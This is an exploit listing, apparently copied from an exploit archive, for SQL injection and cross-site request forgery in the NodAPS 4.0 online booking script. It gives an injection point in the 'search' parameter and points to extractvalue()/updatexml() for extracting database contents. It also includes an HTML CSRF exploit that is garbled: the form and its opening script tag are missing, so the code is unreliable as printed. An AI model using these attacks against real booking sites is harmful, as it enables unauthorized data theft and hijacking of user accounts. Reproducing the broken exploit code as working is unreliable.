发布 2018-05-17 漏洞条目

NodAPS 4.0 – SQL injection / Cross-Site Request Forgery

Exploit Source

# Exploit Title: Online Booking system - NodAPS 4.0 - 'search' SQL injection / Cross-Site Request Forgery

# Date: 2018-05-16

# Exploit Author: Borna nematzadeh (L0RD)

# Vendor Homepage: https://codecanyon.net/item/appointment-management-system-nodaps/16197805?s_rank=1535

# Version: 4.0

# Tested on: windows

================================================

# POC 1 : SQLi

# test : test.com/en/providers?search='

# Description: Put ' in the search parameter and you will have SQL syntax error.

You can use "extractvalue()" or "updatexml()" functions to get data from database.

================================================

# POC 2 : CSRF

# Description: An issue was discovered in Online Booking system - NodAPS 4.0 script.

With Cross-site request forgery (CSRF) vulnerability , attacker can hijack the authentication of users remotely.

================================================

# Exploit :

<html>

<head>

</head>

<body>

</form>

document.forms[0].submit();

</script>

</body>

</html>

相关漏洞条目